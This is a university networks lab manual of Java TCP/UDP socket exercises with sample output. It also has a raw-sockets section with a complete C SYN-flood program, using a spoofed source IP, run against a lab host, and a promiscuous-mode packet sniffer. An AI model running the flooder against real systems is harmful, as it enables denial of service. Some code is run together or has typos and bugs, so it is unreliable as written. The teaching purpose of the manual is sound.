+ All Categories
Home > Documents > CS2307 rec

CS2307 rec

Date post: 02-Jan-2016
Category:
Upload: hussain-bibi
View: 42 times
Download: 5 times
Share this document with a friend
Description:
NETWORKS LAB MANUAL
109
INDEX Exp # Name of the Experiment TCP Sockets 1a TCP Echo Server/Client 1b TCP Date Server/Client 1c TCP Chat Server/Client UDP Sockets 2a UDP Echo Server/Client 2b UDP Chat Server/Client 2c UDP DNS Server/Client Raw Sockets 3a SYN Flooding 3b Packet Capture Remote Procedure Call 4a Basic Calculator 4b Fibonacci Series 4c Factorial Value Protocol Simulation 5a GO Back N ARQ 5b Selective Repeat ARQ 5c ARP Server / Client 5d RARP Server / Client NS2 Simulation 6a Study of UDP Performance 6b Study of TCP Performance 6c Distance Vector Routing Protocol 6d CSMA/CD Protocol
Transcript
Page 1: CS2307 rec

INDEX

Exp# Name of the Experiment

TCP Sockets

1a TCP Echo Server/Client

1b TCP Date Server/Client

1c TCP Chat Server/Client

UDP Sockets

2a UDP Echo Server/Client

2b UDP Chat Server/Client

2c UDP DNS Server/Client

Raw Sockets

3a SYN Flooding

3b Packet Capture

Remote Procedure Call

4a Basic Calculator

4b Fibonacci Series

4c Factorial Value

Protocol Simulation

5a GO Back N ARQ

5b Selective Repeat ARQ

5c ARP Server / Client

5d RARP Server / Client

NS2 Simulation

6a Study of UDP Performance

6b Study of TCP Performance

6c Distance Vector Routing Protocol

6d CSMA/CD Protocol

Page 2: CS2307 rec

TCP Sockets

A socket is an endpoint of a two-way communication link between two programs running on the network. Socket is bound to a port number so that the TCP layer can identify the application that data is destined to be sent. User-level process/services generally use port number value ≥ 1024. TCP provides a reliable, point-to-point communication channel that client-server application on the Internet use to communicate with each other. Examples are FTP and Telnet.

To communicate over TCP, a client program and a server program establish a connection to one another. Each program binds a socket to its end of the connection. A server runs on a specific computer and has a socket that is bound to a specific port number. The server waits, listening to the socket for a connection request from the client.

On the client-side, the client knows the hostname of the machine on which the server is running and the port number on which the server is listening. To make a connection request, the client tries to make contact with the server on the server's machine and port. The client also needs to identify itself to the server so it binds to a local port number that it will use during this connection.

If everything goes well, the server accepts the connection. Upon acceptance, the server gets a new socket bound to the same local port and also has its remote endpoint set to the address and port of the client. It needs a new socket so that it can continue to listen to the original socket for connection requests while tending to the needs of the connected client.

On the client side, if the connection is accepted, a socket is successfully created and the client can use the socket to communicate with the server. The client and server can now communicate by writing to or reading through I/O streams from their sockets and eventually close it.

The two key classes from the java.net package used in creation of server and client programs are:

ServerSocket Socket

Page 3: CS2307 rec

Program

// TCP Echo Server--tcpechoserver.java

import java.net.*;import java.io.*;

public class tcpechoserver{

public static void main(String[] arg) throws IOException {

ServerSocket sock = null;BufferedReader fromClient = null;OutputStreamWriter toClient = null;Socket client = null;try {

sock = new ServerSocket(4000);System.out.println("Server Ready");client = sock.accept();System.out.println("Client Connected");fromClient = new BufferedReader(new

InputStreamReader(client.getInputStream()));toClient = new

OutputStreamWriter(client.getOutputStream());String line;while (true) {

line = fromClient.readLine();if ( (line == null) || line.equals("bye"))

break;System.out.println ("Client [ " + line + " ]");toClient.write("Server [ "+ line +" ]\n");toClient.flush();

}fromClient.close();toClient.close();client.close();sock.close();System.out.println("Client Disconnected");

}catch (IOException ioe) {

System.err.println(ioe);}

}}

Page 4: CS2307 rec

//TCP Echo Client--tcpechoclient.java

import java.net.*;import java.io.*;

public class tcpechoclient{

public static void main(String[] args) throws IOException {

BufferedReader fromServer = null, fromUser = null;PrintWriter toServer = null;Socket sock = null;try {

if (args.length == 0) sock = new Socket(InetAddress.getLocalHost(),

4000); else sock = new Socket(InetAddress.getByName(args[0]),

4000);fromServer = new BufferedReader(new

InputStreamReader(sock.getInputStream()));fromUser = new BufferedReader(new

InputStreamReader(System.in));toServer = new PrintWriter(sock.getOutputStream(),

trueString Usrmsg, Srvmsg;System.out.println("Type \"bye\" to quit");while (true) {

System.out.print("Enter msg to server : ");Usrmsg = fromUser.readLine();if (Usrmsg==null || Usrmsg.equals("bye"))

{ toServer.println("bye");break;

}else

toServer.println(Usrmsg);Srvmsg = fromServer.readLine();System.out.println(Srvmsg);

}fromUser.close();fromServer.close();toServer.close();sock.close();

}catch (IOException ioe) {

System.err.println(ioe);}

Page 5: CS2307 rec

Output

Server Console

$ javac tcpechoserver.java$ java tcpechoserverServer ReadyClient ConnectedClient [ hello ]Client [ how are you ]Client [ i am fine ]Client [ ok ]Client Disconnected

Client Console

$ javac tcpechoclient.java$ java tcpechoclientType "bye" to quitEnter msg to server : helloServer [ hello ]Enter msg to server : how are youServer [ how are you ]Enter msg to server : i am fineServer [ i am fine ]Enter msg to server : okServer [ ok ]Enter msg to server : bye

Page 6: CS2307 rec

Program

//TCP Date Server--tcpdateserver.java

import java.net.*;import java.io.*;import java.util.*;

class tcpdateserver{

public static void main(String arg[]){

ServerSocket ss = null;Socket cs;PrintStream ps;BufferedReader dis;String inet;try{

ss = new ServerSocket(4444); System.out.println("Press Ctrl+C to quit");while(true){

cs = ss.accept();ps = new PrintStream(cs.getOutputStream());Date d = new Date();ps.println(d);dis = new BufferedReader(new

InputStreamReader(cs.getInputStream()));inet = dis.readLine();System.out.println("Client System/IP address is :"

+ inet);ps.close();dis.close();

}}catch(IOException e){

System.out.println("The exception is :" + e);}

}}

Page 7: CS2307 rec

// TCP Date Client--tcpdateclient.java

import java.net.*;import java.io.*;

class tcpdateclient{

public static void main (String args[]){

Socket soc;BufferedReader dis;String sdate;PrintStream ps;try{

InetAddress ia = InetAddress.getLocalHost(); if (args.length == 0) soc = new Socket(InetAddress.getLocalHost(),4444); else soc = new Socket(InetAddress.getByName(args[0]),

4444);dis = new BufferedReader(new

InputStreamReader(soc.getInputStream()));sdate=dis.readLine();System.out.println("The date/time on server is : " +

sdate);ps = new PrintStream(soc.getOutputStream());ps.println(ia);ps.close();

}catch(IOException e){

System.out.println("THE EXCEPTION is :" + e);}

}}

Page 8: CS2307 rec

Output

Server Console

$ javac tcpdateserver.java$ java tcpdateserverPress Ctrl+C to quitClient System/IP address is : localhost.localdomain/127.0.0.1Client System/IP address is : localhost.localdomain/127.0.0.1

Client Console

$ javac tcpdateclient.java$ java tcpdateclientThe date/time on server is : Wed Jul 04 07:12:03 GMT 2012

Client Console

$ java tcpdateclientThe date/time on server is : Wed Jul 04 07:19:48 GMT 2012

Page 9: CS2307 rec

Program

// TCP Chat Server--tcpchatserver.javaimport java.io.*;import java.net.*;class tcpchatserver {

public static void main(String args[])throws Exception {

PrintWriter toClient;BufferedReader fromUser, fromClient;

try {

ServerSocket Srv = new ServerSocket(5555); System.out.print("\nServer started\n");

Socket Clt = Srv.accept();System.out.println("Client connected");toClient = new PrintWriter(new BufferedWriter(new

OutputStreamWriter(Clt.getOutputStream())), true); fromClient = new BufferedReader(new

InputStreamReader(Clt.getInputStream()));fromUser = new BufferedReader(new

InputStreamReader(System.in)); String CltMsg, SrvMsg; while(true) { CltMsg= fromClient.readLine(); if(CltMsg.equals("end")) break; else { System.out.println("\nServer <<< " +

CltMsg); System.out.print("Message to Client : "); SrvMsg = fromUser.readLine(); toClient.println(SrvMsg); } } System.out.println("\nClient Disconnected"); fromClient.close(); toClient.close(); fromUser.close(); Clt.close(); Srv.close();

} catch (Exception E) {

System.out.println(E.getMessage()); }

} }

Page 10: CS2307 rec

// TCP Chat Client--tcpchatclient.javaimport java.io.*;import java.net.*;class tcpchatclient{ public static void main(String args[])throws Exception {

Socket Clt; PrintWriter toServer; BufferedReader fromUser, fromServer; try { if (args.length > 1) { System.out.println("Usage: java hostipaddr"); System.exit(-1); } if (args.length == 0) Clt = new Socket(InetAddress.getLocalHost(),5555); else Clt = new Socket(InetAddress.getByName(args[0]),

5555); toServer = new PrintWriter(new BufferedWriter(new

OutputStreamWriter(Clt.getOutputStream())), true); fromServer = new BufferedReader(new

InputStreamReader(Clt.getInputStream())); fromUser = new BufferedReader(new

InputStreamReader(System.in)); String CltMsg, SrvMsg;

System.out.println("Type \"end\" to Quit"); while (true) { System.out.print("\nMessage to Server : "); CltMsg = fromUser.readLine(); toServer.println(CltMsg); if (CltMsg.equals("end")) break; SrvMsg = fromServer.readLine(); System.out.println("Client <<< " + SrvMsg); } } catch(Exception E) { System.out.println(E.getMessage()); }

}}

Page 11: CS2307 rec

Output

Server Console

$ javac tcpchatserver.java$ java tcpchatserver Server startedClient connected

Server <<< hiMessage to Client : hello

Server <<< how r u?Message to Client : fine

Server <<< me tooMessage to Client : bye

Client Disconnected

Client Console

$ javac tcpchatclient.java$ java tcpchatclient Type "end" to Quit

Message to Server : hiClient <<< hello

Message to Server : how r u?Client <<< fine

Message to Server : me tooClient <<< bye

Message to Server : end

Page 12: CS2307 rec

UDP Sockets

TCP guarantees the delivery of packets and preserves their order on destination. Sometimes these features are not required, since they do not come without performance costs, it would be better to use a lighter transport protocol such as UDP (User Datagram Protocol). UDP is an unreliable protocol, i.e., it does not include software mechanisms for retrying on transmission failures or data corruption (unlike TCP), and has restrictions on message length (< 65536 bytes). Examples are NFS, DNS, SNMP, Clock Server, Ping, VoIP, online games etc.

Unlike TCP there is no concept of a connection, UDP is a protocol that sends independent packets of data, called datagrams, from one computer to another with no guarantees about arrival and sequencing. No packet has any knowledge of the preceding or following packet. The recipient does not acknowledge packets, thereby the sender does not know whether the transmission was successful. The format of datagram packet is

Message Length Host Server Port

A program can use a single UDP socket to communicate with more than one host and port number, but it is convenient for most UDP client programs to maintain the fiction that there is a connection, by keeping a local record of each server host and port number. A UDP server does not have to listen for and accept client connections, and a UDP client need not connect to a server.

Java supports datagram communication through the following classes: DatagramPacket DatagramSocket

The DatagramPacket object is the data container, while the DatagramSocket is the mechanism used to send or receive the DatagramPackets.

Page 13: CS2307 rec

Program

// UDP Echo Server--UDPEchoServer.java

import java.net.*;

class UDPEchoServer {

public static void main(String args[]) throws Exception {

DatagramSocket SrvSoc = new DatagramSocket(7777);byte[] SData = new byte[1024];System.out.println("Server Ready\n");

while (true) {

byte[] RData = new byte[1024];DatagramPacket RPack = new DatagramPacket(RData,

RData.length);SrvSoc.receive(RPack);String Text = new String(RPack.getData());

if (Text.trim().length() > 0) {

System.out.println("From Client <<< " + Text);InetAddress IPAddr = RPack.getAddress();int Port = RPack.getPort();SData = Text.toUpperCase().getBytes();DatagramPacket SPack = new DatagramPacket(SData,

SData.length, IPAddr, Port);SrvSoc.send(SPack);

}else

break;}System.out.println("\nClient Quits\n");SrvSoc.close();

}}

Page 14: CS2307 rec

// UDP Echo Client--UDPEchoClient.java

import java.io.*;import java.net.*;

class UDPEchoClient {

public static void main(String args[]) throws Exception {

BufferedReader br = new BufferedReader(new InputStreamReader(System.in));

DatagramSocket CliSoc = new DatagramSocket();InetAddress IPAddr;String Text;

if (args.length == 0)IPAddr = InetAddress.getLocalHost();

elseIPAddr = InetAddress.getByName(args[0]);

byte[] SData = new byte[1024];System.out.println("To quit, press enter without text");

while (true) {

System.out.print("\nEnter text for Server : ");Text = br.readLine();

SData = Text.getBytes();DatagramPacket SPack = new DatagramPacket(SData,

SData.length, IPAddr, 7777);CliSoc.send(SPack);

if (Text.trim().length() == 0) break;

byte[] RData = new byte[1024];DatagramPacket RPack = new DatagramPacket(RData,

RData.length);CliSoc.receive(RPack);String Echo = new String(RPack.getData()) ;Echo = Echo.trim();System.out.println("Echo from Server <<< " + Echo);

} CliSoc.close();

}}

Page 15: CS2307 rec

Output

Server Console

$ javac UDPEchoServer.java$ java UDPEchoServerServer Ready

From Client <<< helloFrom Client <<< Where are u?From Client <<< Could you hear me

Client Quits

Client Console

$ javac UDPEchoClient.java$ java UDPEchoClientTo quit press enter without text

Enter text for Server : helloEcho from Server <<< HELLO

Enter text for Server : Where are u?Echo from Server <<< WHERE ARE U?

Enter text for Server : Could you hear meEcho from Server <<< COULD YOU HEAR ME

Enter text for Server :

Page 16: CS2307 rec

Program

// UDP Chat Server--udpchatserver.java

import java.io.*;import java.net.*;

class udpchatserver {

public static int clientport = 8040,serverport = 8050;public static void main(String args[]) throws Exception {

DatagramSocket SrvSoc = new DatagramSocket(clientport);byte[] SData = new byte[1024];BufferedReader br = new BufferedReader(new

InputStreamReader(System.in));

System.out.println("Server Ready");while (true) {

byte[] RData = new byte[1024];DatagramPacket RPack = new DatagramPacket(RData,

RData.length);SrvSoc.receive(RPack);

String Text = new String(RPack.getData());if (Text.trim().length() == 0)

break;System.out.println("\nFrom Client <<< " + Text );

System.out.print("Msg to Cleint : " );String srvmsg = br.readLine();InetAddress IPAddr = RPack.getAddress();SData = srvmsg.getBytes();DatagramPacket SPack = new DatagramPacket(SData,

SData.length, IPAddr, serverport);SrvSoc.send(SPack);

}System.out.println("\nClient Quits\n");SrvSoc.close();

}}

Page 17: CS2307 rec

// UDP Chat Client--udpchatclient.java

import java.io.*;import java.net.*;

class udpchatclient {

public static int clientport = 8040,serverport = 8050;public static void main(String args[]) throws Exception {

BufferedReader br = new BufferedReader(new InputStreamReader (System.in));

DatagramSocket CliSoc = new DatagramSocket(serverport);InetAddress IPAddr;String Text;

if (args.length == 0)IPAddr = InetAddress.getLocalHost();

elseIPAddr = InetAddress.getByName(args[0]);

byte[] SData = new byte[1024];System.out.println("Press Enter without text to quit");

while (true) {

System.out.print("\nEnter text for server : ");Text = br.readLine();SData = Text.getBytes();DatagramPacket SPack = new DatagramPacket(SData,

SData.length, IPAddr, clientport );CliSoc.send(SPack);if (Text.trim().length() == 0)

break;

byte[] RData = new byte[1024];DatagramPacket RPack = new DatagramPacket(RData,

RData.length);CliSoc.receive(RPack);String Echo = new String(RPack.getData()) ;Echo = Echo.trim();System.out.println("From Server <<< " + Echo);

} CliSoc.close();

}}

Page 18: CS2307 rec

Output

Server Console

$ javac udpchatserver.java$ java udpchatserverServer Ready

From Client <<< are u the SERVERMsg to Cleint : yes

From Client <<< what do u have to serveMsg to Cleint : no eatables

Client Quits

Client Console

$ javac udpchatclient.java$ java udpchatclientPress Enter without text to quit

Enter text for server : are u the SERVERFrom Server <<< yes

Enter text for server : what do u have to serveFrom Server <<< no eatables

Enter text for server :

Page 19: CS2307 rec

Program

// UDP DNS Server -- udpdnsserver.java

import java.io.*;import java.net.*;

public class udpdnsserver{

private static int indexOf(String[] array, String str){

str = str.trim(); for (int i=0; i < array.length; i++) { if (array[i].equals(str)) return i; } return -1;

}

public static void main(String arg[])throws IOException{

String[] hosts = {"yahoo.com", "gmail.com", "cricinfo.com", "facebook.com"};

String[] ip = {"68.180.206.184", "209.85.148.19", "80.168.92.140", "69.63.189.16"};

System.out.println("Press Ctrl + C to Quit");

while (true) { DatagramSocket serversocket=new DatagramSocket(1362);

byte[] senddata = new byte[1021];byte[] receivedata = new byte[1021];

DatagramPacket recvpack = new DatagramPacket(receivedata, receivedata.length);

serversocket.receive(recvpack);String sen = new String(recvpack.getData());InetAddress ipaddress = recvpack.getAddress();int port = recvpack.getPort();String capsent;System.out.println("Request for host " + sen);

if(indexOf (hosts, sen) != -1)capsent = ip[indexOf (hosts, sen)];

elsecapsent = "Host Not Found";

senddata = capsent.getBytes();DatagramPacket pack = new DatagramPacket(senddata,

senddata.length,ipaddress,port);

Page 20: CS2307 rec

serversocket.send(pack);serversocket.close();

}}

}

//UDP DNS Client -- udpdnsclient.java

import java.io.*;import java.net.*;

public class udpdnsclient{

public static void main(String args[])throws IOException{

BufferedReader br = new BufferedReader(new InputStreamReader(System.in));

DatagramSocket clientsocket = new DatagramSocket();InetAddress ipaddress;if (args.length == 0)

ipaddress = InetAddress.getLocalHost();else

ipaddress = InetAddress.getByName(args[0]);byte[] senddata = new byte[1024];byte[] receivedata = new byte[1024];int portaddr = 1362;

System.out.print("Enter the hostname : ");String sentence = br.readLine();Senddata = sentence.getBytes();DatagramPacket pack = new DatagramPacket(senddata,

senddata.length, ipaddress,portaddr);clientsocket.send(pack);

DatagramPacket recvpack =new DatagramPacket(receivedata, receivedata.length);

clientsocket.receive(recvpack);String modified = new String(recvpack.getData());System.out.println("IP Address: " + modified);clientsocket.close();

}}

Page 21: CS2307 rec

Output

Server Console

$ javac udpdnsserver.java$ java udpdnsserverPress Ctrl + C to QuitRequest for host yahoo.comRequest for host cricinfo.comRequest for host youtube.com

Client Console

$ javac udpdnsclient.java$ java udpdnsclientEnter the hostname : yahoo.comIP Address: 68.180.206.184

$ java udpdnsclientEnter the hostname : cricinfo.comIP Address: 80.168.92.140

$ java udpdnsclientEnter the hostname : youtube.comIP Address: Host Not Found

Page 22: CS2307 rec

RAW SOCKETS

Normally, data from source host application layer is encapsulated with protocol headers at layers transport, network and data link layer respectively. The value for these headers is filled by the kernel or the operating system and sent through the network. When it reaches the destination host, all the headers (Ethernet, IP, TCP, etc) are stripped by the network stack and only data is shipped to the application layer. The programmer can neither modify nor view those packet headers.

A raw socket is a socket that allows direct sending and receiving of network packets by applications, bypassing all encapsulation done by network stack of the host and communicating directly with the device driver. With raw sockets, the programmer has full control of packets send to or received from the network. It is primarily used to:

1. Packet Injection (Sending packets into raw socket)2. Packet Sniffing (Receiving packets from raw socket)

The basic concept of low level sockets is to send packets with all protocol headers filled in by the program (instead of the kernel). To fabricate our own packets, the structure of protocols (IP, TCP/UDP) that needs to be included should be known. We can define our own protocol structure (packet header) and assign values or assign values for the standard built-in structures elements provided by Linux.

In order to read packets, the programmer needs to sniff the network. The host can receive only unicast, broadcast and multicast (subscribed) packets. The programmer can switch to promiscuous mode to receive contents meant for other hosts too. This is done by accessing a raw interface to the data link layers. Once a packet is received, then it is possible to parse that packet intelligibly and to find out the details of all headers (Ethernet, IP, TCP, ARP, etc).

Raw sockets are used by network monitoring and hacking tools. The tools used in Syn flood attacks on Yahoo in 2000 and countless other Denial of Service (DoS) attacks on innumerable hosts, leveraged raw socket interface to accomplish the task.

Page 23: CS2307 rec

Program

/* SYN Flooding – synflood.c */

#include <unistd.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/socket.h>#include <netinet/ip.h>#include <netinet/tcp.h>

/* IP header's structure */struct ipheader {

unsigned char iph_ihl:5, iph_ver:4;

unsigned char iph_tos;unsigned short int iph_len;

unsigned short int iph_ident; unsigned char iph_flags; unsigned short int iph_offset; unsigned char iph_ttl; unsigned char iph_protocol; unsigned short int iph_chksum; unsigned int iph_sourceip; unsigned int iph_destip;};

/* Structure of a TCP header */struct tcpheader { unsigned short int tcph_srcport; unsigned short int tcph_destport; unsigned int tcph_seqnum; unsigned int tcph_acknum; unsigned char tcph_reserved:4, tcph_offset:4; unsigned int tcp_res1:4, tcph_hlen:4, tcph_fin:1, tcph_syn:1, tcph_rst:1, tcph_psh:1, tcph_ack:1, tcph_urg:1, tcph_res2:2; unsigned short int tcph_win; unsigned short int tcph_chksum; unsigned short int tcph_urgptr;};

Page 24: CS2307 rec

/* Simple checksum function */unsigned short csum (unsigned short *buf, int nwords){

unsigned long sum; for (sum = 0; nwords > 0; nwords--) sum += *buf++; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (unsigned short)(~sum);} int main(int argc, char *argv[ ]){ /* open raw socket */

int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);char datagram[4096];struct ipheader *iph = (struct ipheader *) datagram;

struct tcpheader *tcph = (struct tcpheader *) datagram + sizeof (struct ipheader);

struct sockaddr_in sin; if(argc != 3) { printf("Invalid parameters!\n"); printf("Usage: %s <target IP > <port to be flooded>\n",

argv[0]); exit(-1); } unsigned int floodport = atoi(argv[2]);

sin.sin_family = AF_INET;sin.sin_port = htons(floodport);sin.sin_addr.s_addr = inet_addr(argv[1]);

/* zero out the buffer */ memset(datagram, 0, 4096);

/* fill in the ip/tcp header values */ iph->iph_ihl = 5; iph->iph_ver = 4;

iph->iph_tos = 0;iph->iph_len = sizeof (struct ipheader) +

sizeof (struct tcpheader); iph->iph_ident = htonl (54321); iph->iph_offset = 0; iph->iph_ttl = 255;

iph->iph_protocol = 6; iph->iph_chksum = 0;

/* SYN's are blindly spoofed, use randomly generated IP */iph->iph_sourceip = inet_addr ("192.168.3.100");

Page 25: CS2307 rec

iph->iph_destip = sin.sin_addr.s_addr;

/* arbitrary port for source */ tcph->tcph_srcport = htons (5678);

tcph->tcph_destport = htons (floodport);

/* in a SYN packet, the sequence is a random */tcph->tcph_seqnum = random();

/* number, and the ACK sequence is 0 in the 1st packet */ tcph->tcph_acknum = 0; tcph->tcph_res2 = 0;

/* first and only tcp segment */tcph->tcph_offset = 0;

/* initial connection request */tcph->tcph_syn = 0x02;

/* maximum allowed window size */tcph->tcph_win = htonl (65535);

/* kernel's IP stack will fill correct checksum */ tcph->tcph_chksum = 0; tcph-> tcph_urgptr = 0; iph-> iph_chksum = csum ((unsigned short *) datagram,

iph-> iph_len >> 1);

/* IP_HDRINCL informs kernel that header is part of data */int tmp = 1;const int *val = &tmp;if(setsockopt (s, IPPROTO_IP, IP_HDRINCL, val,

sizeof (tmp)) < 0){

printf("Error: setsockopt() - Cannot set HDRINCL!\n");exit(-1);

}else

printf("OK, using own header!\n");

while(1){

if(sendto(s, datagram, iph->iph_len, 0, (struct sockaddr *)&sin, sizeof (sin)) < 0)

printf("sendto() error!!!.\n"); else printf("Flooding %s at %u...\n", argv[1], floodport);

} return 0;}

Page 26: CS2307 rec

Output

$ suPassword:

# gcc synflood.c -o synfloodsynflood.c: In function 'main':synflood.c:114: warning: large integer implicitly truncated to unsigned type

# ./synflood  172.16.6.45  23OK, using own header!Flooding 172.16.6.45 at 23...Flooding 172.16.6.45 at 23...Flooding 172.16.6.45 at 23...Flooding 172.16.6.45 at 23...Flooding 172.16.6.45 at 23...Flooding 172.16.6.45 at 23...Flooding 172.16.6.45 at 23...Flooding 172.16.6.45 at 23...Flooding 172.16.6.45 at 23...Flooding 172.16.6.45 at 23...Flooding 172.16.6.45 at 23...Flooding 172.16.6.45 at 23...Flooding 172.16.6.45 at 23...Flooding 172.16.6.45 at 23...Flooding 172.16.6.45 at 23...Flooding 172.16.6.45 at 23...Flooding 172.16.6.45 at 23...Flooding 172.16.6.45 at 23...Flooding 172.16.6.45 at 23......^C

Page 27: CS2307 rec

Program

/* Packet Sniffing – sniffdata.c */

#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/socket.h>#include <features.h>#include <linux/if_packet.h>#include <linux/if_ether.h>#include <errno.h>#include <sys/ioctl.h>#include <net/if.h>#include <linux/ip.h>#include <linux/tcp.h>#include <netinet/in.h>

int CreateRawSocket(int protocol_to_sniff){

int rawsock;if((rawsock = socket(PF_PACKET, SOCK_RAW,

htons(protocol_to_sniff)))== -1){

perror("Error creating raw socket: ");exit(-1);

}return rawsock;

}

int BindRawSocketToInterface(char *device, int rawsock, int protocol){

struct sockaddr_ll sll;struct ifreq ifr;bzero(&sll, sizeof(sll));bzero(&ifr, sizeof(ifr));

/* Get Interface Index */strncpy((char *)ifr.ifr_name, device, IFNAMSIZ);if((ioctl(rawsock, SIOCGIFINDEX, &ifr)) == -1){

printf("Error getting Interface index !\n");exit(-1);

}

/* Bind raw socket to this interface */sll.sll_family = AF_PACKET;sll.sll_ifindex = ifr.ifr_ifindex;sll.sll_protocol = htons(protocol);

Page 28: CS2307 rec

if((bind(rawsock, (struct sockaddr *)&sll, sizeof(sll)))== -1){

perror("Error binding raw socket to interface\n");exit(-1);

}return 1;

}

void PrintPacketInHex(unsigned char *packet, int len){

unsigned char *p = packet;printf("\n\n---------Packet---Starts----\n\n");while(len--){

printf("%.2x ", *p);p++;

}printf("\n\n--------Packet---Ends-----\n\n");

}

PrintInHex(char *mesg, unsigned char *p, int len){

printf(mesg);while(len--){

printf("%.2X ", *p);p++;

}}

ParseEthernetHeader(unsigned char *packet, int len){

struct ethhdr *ethernet_header;if(len > sizeof(struct ethhdr)){

ethernet_header = (struct ethhdr *)packet;

/* First set of 6 bytes are Destination MAC */ PrintInHex("Destination MAC: ",ethernet_header->h_dest,6);

printf("\n");

/* Second set of 6 bytes are Source MAC */ PrintInHex("Source MAC: ",ethernet_header->h_source,6);

printf("\n");

/* Last 2 bytes in Ethernet header is the protocol */PrintInHex("Protocol: ",(void *)

&ethernet_header->h_proto, 2);printf("\n");

}

Page 29: CS2307 rec

else{

printf("Packet size too small !\n");}

}

ParseIpHeader(unsigned char *packet, int len){

struct ethhdr *ethernet_header;struct iphdr *ip_header;

/*Check if packet contains IP header using Ethernet header*/ethernet_header = (struct ethhdr *)packet;if(ntohs(ethernet_header->h_proto) == ETH_P_IP){

/* The IP header is after the Ethernet header */if(len >= (sizeof(struct ethhdr)+sizeof(struct iphdr))){ip_header=(struct iphdr*)(packet+sizeof(struct ethhdr));

/* print the Source and Destination IP address */printf("Dest IP address: %s\n",

inet_ntoa(ip_header->daddr));printf("Source IP address: %s\n",

inet_ntoa(ip_header->saddr));}else{

printf("IP packet does not have full header\n");}

}}

ParseTcpHeader(unsigned char *packet , int len){

struct ethhdr *ethernet_header;struct iphdr *ip_header;struct tcphdr *tcp_header;

/* Check if enough bytes are there for TCP Header */if(len >= (sizeof(struct ethhdr) + sizeof(struct iphdr) +

sizeof(struct tcphdr))){

/* Do the checks: Is it an IP pkt and is it TCP ? */ethernet_header = (struct ethhdr *)packet;if(ntohs(ethernet_header->h_proto) == ETH_P_IP){

ip_header = (struct iphdr *)(packet + sizeof(struct ethhdr));

Page 30: CS2307 rec

if(ip_header->protocol == IPPROTO_TCP){

tcp_header = (struct tcphdr*)(packet + sizeof(struct ethhdr) + ip_header->ihl*4 );

/* Print the Dest and Src ports */printf("Source Port:%d\n",ntohs(tcp_header->source)); printf("Dest Port: %d\n", ntohs(tcp_header->dest));}else{

printf("Not a TCP packet\n");}

}else{

printf("Not an IP packet\n");}

}else{

printf("TCP Header not present \n");}

}

int ParseData(unsigned char *packet, int len){

struct ethhdr *ethernet_header;struct iphdr *ip_header;struct tcphdr *tcp_header;unsigned char *data;int data_len;

/* Check if any data is there */if(len > (sizeof(struct ethhdr) + sizeof(struct iphdr) +

sizeof(struct tcphdr))){

ip_header = (struct iphdr*)(packet + sizeof(struct ethhdr));

data = (packet + sizeof(struct ethhdr) + ip_header->ihl*4 +sizeof(struct tcphdr));

data_len = ntohs(ip_header->tot_len) - ip_header->ihl*4 - sizeof(struct tcphdr);

if(data_len){

printf("Data Len : %d\n", data_len);PrintInHex("Data : ", data, data_len);printf("\n\n");return 1;

}

Page 31: CS2307 rec

else{

printf("No Data in packet\n");return 0;

}}else{

printf("No Data in packet\n");return 0;

} }

int IsIpAndTcpPacket(unsigned char *packet, int len){

struct ethhdr *ethernet_header;struct iphdr *ip_header;

ethernet_header = (struct ethhdr *)packet;if(ntohs(ethernet_header->h_proto) == ETH_P_IP){

ip_header = (struct iphdr *)(packet + sizeof(struct ethhdr));

if(ip_header->protocol == IPPROTO_TCP)return 1;

elsereturn -1;

}else

return -1;}

main(int argc, char **argv){

int raw;unsigned char packet_buffer[2048]; int len;int packets_to_sniff;struct sockaddr_ll packet_info;int packet_info_size = sizeof(packet_info);

/* create the raw socket */raw = CreateRawSocket(ETH_P_IP);

/* Bind socket to interface */BindRawSocketToInterface(argv[1], raw, ETH_P_IP);

/* Get number of packets to sniff from user */packets_to_sniff = atoi(argv[2]);

Page 32: CS2307 rec

/* Start Sniffing and print Hex of every packet */while(packets_to_sniff--){if((len = recvfrom(raw, packet_buffer, 2048, 0, (struct sockaddr*)&packet_info, &packet_info_size))== -1)

{perror("Recv from returned -1: ");exit(-1);

}else{

/* Packet has been received successfully !! */PrintPacketInHex(packet_buffer, len);

/* Parse Ethernet Header */ParseEthernetHeader(packet_buffer, len);

/* Parse IP Header */ParseIpHeader(packet_buffer, len);

/* Parse TCP Header */ParseTcpHeader(packet_buffer, len);

if(IsIpAndTcpPacket(packet_buffer, len)){

if(!ParseData(packet_buffer, len))packets_to_sniff++;

}}

}return 0;

}

Page 33: CS2307 rec

Output

$suPassword:

# gcc sniffdata.c -o sniffdata

# ifconfig eth0 promisc

# ./sniffdata eth0 1

---------Packet---Starts----

01 00 5e 7f ff fa 18 f4 6a 16 a2 a2 08 00 45 00 01 ff 2a ec 00 00 01 11 ec 11 ac 10 04 e6 ef ff ff fa 07 6c 07 6c 01 eb 65 d1 4e 4f 54 49 46 59 20 2a 20 48 54 54 50 2f 31 2e 31 0d 0a 48 6f 73 74 3a 32 33 39 2e 32 35 35 2e 32 35 35 2e 32 35 30 3a 31 39 30 30 0d 0a 4e 54 3a 75 72 6e 3a 64 6d 63 2d 73 61 6d 73 75 6e 67 2d 63 6f 6d 3a 64 65 76 69 63 65 3a 53 79 6e 63 53 65 72 76 65 72 3a 31 0d 0a 4e 54 53 3a 73 73 64 70 3a 61 6c 69 76 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 68 74 74 70 3a 2f 2f 31 37 32 2e 31 36 2e 34 2e 32 33 30 3a 32 38 36 39 2f 75 70 6e 70 68 6f 73 74 2f 75 64 68 69 73 61 70 69 2e 64 6c 6c 3f 63 6f 6e 74 65 6e --------Packet---Ends-----

